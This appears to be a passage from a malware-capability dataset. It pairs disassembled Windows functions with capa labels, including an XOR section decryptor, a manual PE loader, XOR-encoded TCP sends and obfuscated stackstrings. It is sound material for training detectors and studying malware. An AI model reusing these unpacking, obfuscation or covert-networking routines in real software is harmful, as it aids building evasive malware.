joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403890
Capabilities:
Get file version info

Disassembly:
sub esp, 8
push ebx
push esi
mov esi, dword [esp + 0x14]
lea eax, [esp + 0xc]
push eax
push esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
call sub.VERSION.dll_GetFileVersionInfoSizeA
test eax, eax
mov dword [esp + 0x14], eax
jle 0x403907
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esp + 0x18]
add esp, 4
mov ebx, eax
push ebx
push ecx
push 0
push esi
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x4038fa
lea edx, [esp + 0x14]
lea eax, [esp + 8]
push edx
push eax
push 0x4073ec
push ebx
mov dword [esp + 0x24], 0
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x40390f
test ebx, ebx
je 0x403907
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
xor eax, eax
pop ebx
add esp, 8
ret
mov esi, dword [esp + 8]
push edi
mov ecx, 0xd
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
test ebx, ebx
pop edi
je 0x403907
mov ecx, dword [ebx + 8]
mov edx, dword [esp + 0x18]
shr ecx, 0x10
mov dword [edx], ecx
mov eax, dword [ebx + 8]
mov ecx, dword [esp + 0x1c]
and eax, 0xffff
push ebx
mov dword [ecx], eax
mov edx, dword [ebx + 0xc]
mov eax, dword [esp + 0x24]
shr edx, 0x10
mov dword [eax], edx
mov ecx, dword [ebx + 0xc]
mov edx, dword [esp + 0x28]
and ecx, 0xffff
mov dword [edx], ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, 1
pop esi
pop ebx
add esp, 8
ret
Function at 0x404460
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x120
lea ecx, [esp + 8]
push ebx
push ebp
push esi
push edi
call fcn.004040d0
mov edi, dword [esp + 0x13c]
mov esi, 0x10008
test edi, edi
je 0x404488
mov esi, 0x10108
mov ebx, dword [esp + 0x138]
test ebx, ebx
jne 0x4044ac
lea ecx, [esp + 0x18]
call fcn.004040e0
pop edi
pop esi
pop ebp
mov eax, 0x3f2
pop ebx
add esp, 0x120
ret
mov ebp, dword [esp + 0x134]
push edi
push ebx
push ebp
call fcn.00404590
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push esi
push 0
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40456f
mov eax, dword [esp + 0x10]
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x40]
push ecx
push edx
push 0
push eax
mov dword [esp + 0x34], pe_nt_image_headers32
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov esi, eax
cmp esi, 0x103
je 0x404528
test esi, esi
jne 0x404564
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x30]
push edi
push ecx
push edx
call fcn.00404460
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4044d8
jmp 0x404564
lea ecx, [esp + 0x24]
call fcn.004040d0
push edi
push ebx
push ebp
call fcn.00404590
add esp, 0xc
test edi, edi
je 0x404551
push edi
push ebx
push ebp
call fcn.004043f0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x40455b
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
lea ecx, [esp + 0x24]
call fcn.004040e0
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
call fcn.004040e0
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x120
ret

Function at 0x405290
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x58], ecx
mov eax, 1
ret
Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x4c9c4c3e
nop
nop
nop
nop
nop
test eax, eax
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x1b3f531c
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4178a4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x4178ea
call fcn.00419719
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4178ea
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x41792d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x417916
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x417916
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x41792a
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x41e9d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x41ea13
call fcn.00419719
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41ea13
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41ea2e
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0041e58a
test ebx, ebx
mov esi, eax
je 0x41ea2c
test edi, edi
je 0x41ea2c
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x41f1df
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x24
mov eax, 0x447f2f
call fcn.00433261
mov esi, ecx
mov dword [ebp - 0x20], esi
mov eax, dword [esi + 0x60]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x5c]
mov dword [ebp - 0x18], eax
call fcn.00419719
mov edi, dword [eax + 0xc]
xor ebx, ebx
cmp dword [esi + 0x58], ebx
je 0x41f22a
call fcn.00419719
mov edi, dword [eax + 0xc]
push 5
push dword [esi + 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
je 0x41f23b
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x41f248
or eax, 0xffffffff
jmp 0x41f3a4
mov ecx, esi
call fcn.0041ed04
mov dword [ebp - 0x14], eax
call fcn.0041bf93
and dword [ebp - 0x28], ebx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], ebx
je 0x41f2c6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [ebp - 0x14], eax
je 0x41f2c6
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x41f2c6
push 0
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x2c], 1
call fcn.00415c69
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x24], ebx
je 0x41f2c6
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x120]
test eax, eax
je 0x41f2c6
mov ecx, ebx
call fcn.00420297
test eax, eax
je 0x41f2c6
push 0
mov ecx, ebx
call fcn.004202b2
mov dword [ebp - 0x28], 1
and dword [ebp - 4], 0
push esi
call fcn.0041d8b6
push dword [ebp - 0x14]
call fcn.0041beeb
push edi
push eax
push dword [ebp - 0x1c]
mov ecx, esi
call fcn.0041efe7
xor edi, edi
cmp eax, edi
je 0x41f323
test byte [esi + 0x3c], 0x10
je 0x41f30d
push 4
pop edi
mov ecx, esi
call fcn.004201a8
test ax, 0x100
je 0x41f303
push 5
pop edi
push edi
mov ecx, esi
call fcn.0041ba81
xor edi, edi
cmp dword [esi + 0x20], edi
je 0x41f323
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0042045c
or dword [ebp - 4], 0xffffffff
jmp 0x41f34e
cmp dword [ebp - 0x28], edi
je 0x41f35c
push 1
mov ecx, ebx
call fcn.004202b2
cmp dword [ebp - 0x2c], edi
je 0x41f36c
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x41f385
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x20]
jne 0x41f385
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x60]
mov ecx, esi
call fcn.0041ed3e
cmp dword [esi + 0x58], edi
je 0x41f3a1
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [esi + 0x44]
call fcn.00433306
ret
Function at 0x421560
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x42158e
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4215ac
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004214ca
jmp 0x4215ac
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4215ac
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.004214ca
test edi, edi
mov eax, edi
jne 0x421596
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x4657f4]
test ecx, ecx
je 0x42166f
jmp 0x42155f
ret 8
Function at 0x439b03
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x439a95
cmp dword [eax + 0xc], ebx
je 0x439b38
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.004394f0
aam 0x4a
scasb al, byte es:[edi]
dec ecx
cmp dword [ebp + 0xc], ebx
jne 0x439ac4
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x439cdf
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x439ad8
mov dword [ebp + 0x10], edi
jmp 0x439add
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.004394f0
and esp, esi
mov dh, 0xc
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x439b26
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x439b01
and eax, 0xffff
push eax
jmp 0x439b05
add ecx, 2
push ecx
add dl, byte [ecx - 1]
jne 0x439b14
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004394b5
add esp, 0xc
cmp edi, ebx
sti
mov dword [edi], eax
je 0x439cdf
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x439ae6
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x439a87
call fcn.004394f0
cmc
sub byte [edx - 0x5f7874ee], 0
add byte [eax], al
cmp eax, ebx
je 0x439ba4
add eax, esi
Function at 0x439b85
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x439ba4
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x439b9f
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x439b89
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x439b91
cmp edx, ebx
jne 0x439cdf
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x439b60
add eax, dword [eax + 4]
jmp 0x439b4d
mov dword [ebp + 0xc], ebx
jmp 0x439baf
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x439bc7
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x439be5
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x439c43
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x439c2a
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x439c33
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x439c3d
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x439c1f
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x439ba9
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x439c90
dec eax
je 0x439c87
sub eax, 3
je 0x439c7e
mov dword [ebp - 4], 0x40
jmp 0x439cad
mov dword [ebp - 4], 4
jmp 0x439c93
mov dword [ebp - 4], 0x20
jmp 0x439c93
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x439cdf
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x439c5f
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.004394f0
sub byte [ecx + 0x61], dh
adc edi, edi
jne 0x439cea
push 1
push esi
call edi
mov eax, esi
jmp 0x439ceb
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
rcr byte [edi + 0x5e], 0x5b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x439e94
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jne 0x439eaa
call fcn.004394b5
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
add byte [eax - 0x3ea5b], al
inc dword [eax]
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
cmp dword [ebp - 0x398], 0
je 0x43a3ae
cmp dword [ebp + 0xc], 1
je 0x43a3ae
cmp dword [ebp + 0xc], 8
jne 0x43a376
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
pop esi
stc
invalid
jmp dword [ebp + ecx*4 - 0x7b]
dec eax
stc
invalid
call dword [eax - 0x18]
invalid
invalid
invalid
call [ecx + 0x50]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004394b5
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
invalid
invalid
popal
Function at 0x4476a3
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4625e0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00447638
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00431f90
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x4476f2
cmp dword [ebp - 0x1c], 5
jb 0x44770a
jmp 0x447706
cmp dword [ebp - 0x10], 1
jne 0x44770a
cmp dword [ebp - 0x1c], 4
ja 0x447706
jne 0x44770a
cmp dword [ebp - 0x18], 0
jbe 0x44770a
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4540fc
call fcn.00447529
test eax, eax
jge 0x44772b
mov byte [0x467428], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00431056
add ebp, 0x78
leave
ret
Function at 0x100012d2
Capabilities:
Contain obfuscated stackstrings
Initialize winsock library

Disassembly:
mov eax, 0x1001d495
call fcn.10009f54
sub esp, 0x1a0
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x1c], esi
lea ecx, [esi + 4]
call fcn.10001000
xor ebx, ebx
lea ecx, [esi + 0x14]
mov dword [ebp - 4], ebx
call fcn.10001000
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 1
call fcn.10001000
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
call fcn.10001000
lea eax, [ebp - 0x1ac]
mov dword [esi], 0x1001e4c0
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or dword [esi + 0x48], 0xffffffff
mov dword [esi + 0x4c], eax
lea eax, [ebp - 0x18]
push 9
push eax
lea eax, [esi + 0x50]
push eax
mov byte [esi + 0x53], bl
mov byte [ebp - 0x18], 0x67
mov byte [ebp - 0x17], 0x38
mov byte [ebp - 0x16], 0x6d
mov byte [ebp - 0x15], 0x6b
mov byte [ebp - 0x14], 0x79
mov byte [ebp - 0x13], 0x71
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], 0x78
mov byte [ebp - 0x10], 0x20
call fcn.10009700
mov ecx, dword [ebp - 0xc]
add esp, 0xc
mov eax, esi
mov dword fs:[0], ecx
pop esi
pop ebx
leave
ret

Function at 0x10001434
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
cmp dword [0x10032390], ebx
push esi
push edi
mov esi, ecx
jne 0x100014ae
call fcn.1000180d
push dword [esi + 0x4c]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0x53], bl
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x48], eax
je 0x100014ae
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
cmp edi, ebx
je 0x100014ae
push dword [ebp + 0xc]
mov word [ebp - 0x24], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x24]
push eax
push dword [esi + 0x48]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100014b2
xor al, al
jmp 0x1000151b
push 1
lea eax, [ebp - 4]
pop edi
push 4
push eax
push 8
push 0xffff
push dword [esi + 0x48]
mov dword [ebp - 4], edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x100014ff
push ebx
lea eax, [ebp - 8]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push 0xc
push eax
push 0x98000004
push dword [esi + 0x48]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0x2bf20
mov dword [ebp - 0xc], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push ebx
push ebx
push ebx
push esi
push 0x10001522
push ebx
push ebx
mov byte [esi + 0x53], 1
call fcn.10008e30
mov dword [esi + 0x44], eax
add esp, 0x1c
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x10001982
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x100019a1
mov dl, byte [ecx + eax]
xor dl, 0xfc
add dl, 0x31
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esp + 8]
jl 0x1000198e
ret
Function at 0x100019a2
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
mov edi, ecx
push ebx
call fcn.10001982
and dword [ebp - 4], 0
mov dword [ebp - 8], ebx
mov ebx, dword [ebp + 0x10]
pop ecx
mov dword [ebp + 8], esi
cmp esi, ebx
mov esi, dword [sym.imp.WS2_32.dll_send]
pop ecx
jb 0x10001a0a
and dword [ebp + 0x10], 0
push 0
push ebx
push dword [ebp - 8]
push dword [edi + 0x48]
call esi
test eax, eax
jg 0x100019ee
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xf
jl 0x100019d6
cmp dword [ebp + 0x10], 0xf
je 0x10001a38
add dword [ebp - 4], eax
add dword [ebp - 8], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp + 8], ebx
cmp dword [ebp + 8], ebx
jae 0x100019d2
xor ebx, ebx
cmp dword [ebp + 8], ebx
jle 0x10001a30
push 0
push dword [ebp + 8]
push dword [ebp - 8]
push dword [edi + 0x48]
call esi
test eax, eax
jg 0x10001a28
inc ebx
cmp ebx, 0xf
jl 0x10001a11
cmp ebx, 0xf
je 0x10001a38
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x10001a3b
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10001bff
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
xor ebx, ebx
push edi
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x128]
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10001c70
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10001c67
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.1000a320
pop ecx
test eax, eax
pop ecx
jne 0x10001c31
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret

Function at 0x10001c74
Capabilities:
Set file attributes

Disassembly:
cmp byte [esp + 8], 0
je 0x10001c7f
push 6
jmp 0x10001c84
push 0x80
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret
Function at 0x10001f46
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0xc]
push ebx
xor ebx, ebx
push eax
push 0x20019
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], 1
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10001f72
xor al, al
jmp 0x10001fa2
push esi
push ebx
lea eax, [ebp - 4]
push ebx
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
je 0x10001f9d
cmp esi, 0xea
jne 0x10001f9f
mov bl, 1
mov al, bl
pop esi
pop ebx
leave
ret
Function at 0x100029dc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0xec1
push 0x1002413c
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10002a16
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret

Function at 0x10002a23
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0xb
push 0x10025000
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10002a5a
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret

Function at 0x10002a67
Capabilities:
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
xor esi, esi
push edi
push esi
lea eax, [ebp - 0x108]
push 0x1c
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
push eax
call fcn.1000a1f0
lea eax, [ebp - 0x108]
push 0x1002cc7a
push eax
call fcn.1000a1f0
lea eax, [ebp - 0x108]
push str..dat
push eax
call fcn.1000a1f0
add esp, 0x18
lea eax, [ebp - 0x108]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10002af7
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
